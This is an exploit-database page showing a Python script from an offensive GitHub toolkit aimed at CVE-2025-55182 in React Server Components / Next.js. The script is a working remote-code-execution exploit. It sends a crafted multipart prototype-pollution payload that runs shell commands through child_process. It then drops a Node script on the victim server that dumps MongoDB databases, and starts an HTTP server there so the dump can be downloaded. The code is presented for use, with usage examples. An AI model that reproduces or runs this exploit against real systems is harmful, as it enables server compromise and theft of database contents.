Exploit database

GH-cbb0ac229e4d762a35865248f3be5398

olezhaku/react2shell-toolkit

GitHubNot listedPoC
Download repository ZIP

Sources for CVE-2025-55182

257 sources

Preferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source

Repository files6
olezhaku/react2shell-toolkitRevision 269837fe3359

Files from this repository share one source choice. Supporting files may cover other vulnerabilities.

infrastructure/mongo_dump.py

Python · 10,877 bytes
#!/usr/bin/env python3
"""
Universal Node.js MongoDB Dumper - dump any database/collections
"""

import asyncio
import sys
import json
import base64
import re
from urllib.parse import unquote
import aiohttp
import time

async def execute_rce(rce_target, command, timeout=60):
    """Execute command via RCE"""

    wrapped = f"echo {base64.b64encode(command.encode()).decode()} | base64 -d | bash 2>&1 | base64 -w 0"

    prefix = (
        f"var res=process.mainModule.require('child_process')"
        f".execSync('{wrapped}').toString().trim();"
        f";throw Object.assign(new Error('NEXT_REDIRECT'),"
        f"{{digest: `NEXT_REDIRECT;push;/login?a=${{res}};307;`}});"
    )

    part0 = json.dumps({
        "then": "$1:__proto__:then",
        "status": "resolved_model",
        "reason": -1,
        "value": '{"then":"$B1337"}',
        "_response": {
            "_prefix": prefix,
            "_chunks": "$Q2",
            "_formData": {"get": "$1:constructor:constructor"},
        },
    })

    boundary = "----WebKitFormBoundaryx8jO2oVc6SWP3Sad"
    body_parts = [
        boundary + "\r\n",
        'Content-Disposition: form-data; name="0"\r\n\r\n',
        part0 + "\r\n",
        boundary + "\r\n",
        'Content-Disposition: form-data; name="1"\r\n\r\n',
        '"$@0"\r\n',
        boundary + "\r\n",
        'Content-Disposition: form-data; name="2"\r\n\r\n',
        "[]\r\n",
        boundary + "\r\n",
        'Content-Disposition: form-data; name="3"\r\n\r\n',
        '{\"\\"\"$$\":{{}}\r\n',
        boundary + "--"
    ]
    body = "".join(body_parts)

    headers = {
        "Content-Type": f"multipart/form-data; boundary={boundary[2:]}",
        "Next-Action": "x",
    }

    client_timeout = aiohttp.ClientTimeout(total=timeout)
    connector = aiohttp.TCPConnector(force_close=True)

    async with aiohttp.ClientSession(timeout=client_timeout, connector=connector) as session:
        async with session.post(
            rce_target,
            data=body.encode("utf-8"),
            headers=headers,
            ssl=False,
            allow_redirects=False,
        ) as resp:
            redirect = resp.headers.get('x-action-redirect', '')
            if '?a=' in redirect:
                match = re.search(r'\?a=([A-Za-z0-9+/=]+)', redirect)
                if match:
                    b64_result = unquote(match.group(1))
                    try:
                        result = base64.b64decode(b64_result).decode('utf-8', errors='ignore')
                        return result.strip()
                    except:
                        return None
            return None

async def main():
    if len(sys.argv) < 3:
        print("="*80)
        print("🚀 UNIVERSAL NODE.JS MONGODB DUMPER")
        print("="*80)
        print()
        print("Usage:")
        print("  python infrastructure/mongo_dump.py <rce_target> <mongo_uri> <database> [output_file] [limit]")
        print()
        print("Arguments:")
        print("  rce_target   - RCE endpoint URL")
        print("  mongo_uri    - MongoDB connection string")
        print("  database     - Database name to dump (or 'ALL' for all databases)")
        print("  output_file  - Output filename (optional, default: mongo_dump_<timestamp>.json)")
        print("  limit        - Max documents per collection (optional, default: 10000)")
        print()
        print("Examples:")
        print()
        print("  # Dump single database with auto-generated filename")
        print("  python infrastructure/mongo_dump.py https://target.example \\")
        print("    'mongodb+srv://user:pass@host/db' payload")
        print()
        print("  # Dump with custom filename")
        print("  python infrastructure/mongo_dump.py https://target.example \\")
        print("    'mongodb+srv://user:pass@host/db' payload my_dump.json")
        print()
        print("  # Dump ALL databases")
        print("  python infrastructure/mongo_dump.py https://target.example \\")
        print("    'mongodb+srv://user:pass@host/db' ALL full_dump.json")
        print()
        print("  # Dump with custom limit (100 docs per collection)")
        print("  python infrastructure/mongo_dump.py https://target.example \\")
        print("    'mongodb+srv://user:pass@host/db' test small_dump.json 100")
        print()
        print("Features:")
        print("  ✅ Dump single database or all databases")
        print("  ✅ Custom output filename")
        print("  ✅ Configurable document limit")
        print("  ✅ Auto HTTP server for download")
        print("  ✅ Files saved to /tmp on server")
        print()
        sys.exit(1)

    rce_target = sys.argv[1]
    mongo_uri = sys.argv[2]
    database = sys.argv[3]

    # Output file: use provided or auto-generate
    timestamp = int(time.time())
    if len(sys.argv) >= 5:
        output_file = sys.argv[4]
    else:
        output_file = f"mongo_dump_{timestamp}.json"

    # Document limit: use provided or default 10000
    if len(sys.argv) >= 6:
        limit = int(sys.argv[5])
    else:
        limit = 10000

    print("="*80)
    print("🚀 UNIVERSAL NODE.JS MONGODB DUMPER")
    print("="*80)
    print()
    print(f"RCE Target: {rce_target}")
    print(f"MongoDB URI: {mongo_uri[:50]}...")
    print(f"Database: {database}")
    print(f"Output file: /tmp/{output_file}")
    print(f"Limit: {limit} documents per collection")
    print()
    print("="*80)
    print()

    # Create Node.js dumper script
    dump_all = "true" if database.upper() == "ALL" else "false"

    # Create JavaScript - NO MULTILINE STRINGS!
    nodejs_script = f"""const {{MongoClient}} = require('mongodb');
const fs = require('fs');
const MONGO_URI = '{mongo_uri}';
const OUTPUT_FILE = '/tmp/{output_file}';
const DATABASE = '{database}';
const DUMP_ALL = {dump_all};
const LIMIT = {limit};

async function dump() {{
  console.log('Connecting to MongoDB...');
  const client = await MongoClient.connect(MONGO_URI, {{retryWrites: false}});
  const result = {{}};

  if (DUMP_ALL) {{
    console.log('Dumping ALL databases...');
    const adminDb = client.db('admin');
    const {{databases}} = await adminDb.admin().listDatabases();
    console.log('Found ' + databases.length + ' databases');

    for (const dbInfo of databases) {{
      const dbName = dbInfo.name;
      if (['admin', 'config', 'local'].includes(dbName)) {{
        console.log('Skipping system DB: ' + dbName);
        continue;
      }}

      console.log('Dumping database: ' + dbName);
      const db = client.db(dbName);
      const collections = await db.listCollections().toArray();
      console.log('  Found ' + collections.length + ' collections');
      result[dbName] = {{}};

      for (const collInfo of collections) {{
        const collName = collInfo.name;
        try {{
          const docs = await db.collection(collName).find({{}}).limit(LIMIT).toArray();
          result[dbName][collName] = docs;
          console.log('  ' + collName + ': ' + docs.length + ' documents');
        }} catch (e) {{
          console.log('  ' + collName + ': Error - ' + e.message);
        }}
      }}
    }}
  }} else {{
    console.log('Dumping database: ' + DATABASE);
    const db = client.db(DATABASE);
    const collections = await db.listCollections().toArray();
    console.log('Found ' + collections.length + ' collections');
    result[DATABASE] = {{}};

    for (const collInfo of collections) {{
      const collName = collInfo.name;
      try {{
        console.log('  Dumping ' + collName + '...');
        const docs = await db.collection(collName).find({{}}).limit(LIMIT).toArray();
        result[DATABASE][collName] = docs;
        console.log('    Got ' + docs.length + ' documents');
      }} catch (e) {{
        console.log('    Error: ' + e.message);
      }}
    }}
  }}

  await client.close();
  console.log('Saving to file...');
  fs.writeFileSync(OUTPUT_FILE, JSON.stringify(result, null, 2));
  console.log('Saved to: ' + OUTPUT_FILE);
  const stats = fs.statSync(OUTPUT_FILE);
  console.log('Size: ' + (stats.size / 1024 / 1024).toFixed(2) + ' MB');
}}

dump().catch(e => console.error('Error:', e.message));"""

    # Save script to server
    print("[1/4] Creating Node.js dumper script on server...")
    script_path = f"/tmp/dumper_{timestamp}.js"

    # Escape the script for bash
    script_b64 = base64.b64encode(nodejs_script.encode()).decode()
    save_cmd = f"echo {script_b64} | base64 -d > {script_path} && echo OK"

    result = await execute_rce(rce_target, save_cmd, timeout=10)
    if result and 'OK' in result:
        print(f"  ✅ Created: {script_path}")
    else:
        print("  ❌ Failed to create script")
        return

    # Run the dumper
    print("\n[2/4] Running Node.js dumper...")
    if dump_all == "true":
        print("  ⚠️  Dumping ALL databases - this may take 3-5 minutes")
    else:
        print(f"  Dumping database: {database}")

    run_cmd = f"cd /tmp && timeout 300 node {script_path} 2>&1"
    result = await execute_rce(rce_target, run_cmd, timeout=320)

    if result:
        print("\n  Output:")
        lines = result.split('\n')
        for line in lines[:30]:
            if line.strip():
                print(f"    {line}")
        if len(lines) > 30:
            print(f"    ... ({len(lines) - 30} more lines)")

    # Check if file was created
    print("\n[3/4] Checking dump file...")
    check_cmd = f"ls -lh /tmp/{output_file} 2>&1"
    result = await execute_rce(rce_target, check_cmd, timeout=10)

    if result and output_file in result:
        print(f"  ✅ Dump file created!")
        print(f"     {result}")
    else:
        print("  ❌ Dump file not found")
        print(f"  Debug: {result}")
        return

    # Start HTTP server
    print("\n[4/4] Starting HTTP server...")
    kill_cmd = "pkill -f 'python3 -m http.server' 2>&1"
    await execute_rce(rce_target, kill_cmd, timeout=5)

    http_cmd = f"cd /tmp && python3 -m http.server 8000 </dev/null >/dev/null 2>&1 & echo $!"
    pid = await execute_rce(rce_target, http_cmd, timeout=10)

    if pid and pid.strip().isdigit():
        print(f"  ✅ HTTP server started (PID: {pid.strip()})")
    else:
        print("  ⚠️  May not have started")

    print()
    print("="*80)
    print("📥 DOWNLOAD THE DUMP")
    print("="*80)
    print()
    print(f"The dump is ready at:")
    print(f"  http://<target-host>:8000/{output_file}")
    print()
    print("Download it:")
    print(f"  wget http://<target-host>:8000/{output_file}")
    print()
    print("Or:")
    print(f"  curl -O http://<target-host>:8000/{output_file}")
    print()
    print("Or use the download script:")
    print(f"  python infrastructure/universal_download.py {rce_target} /tmp/{output_file} {output_file}")
    print()
    print("="*80)

if __name__ == "__main__":
    asyncio.run(main())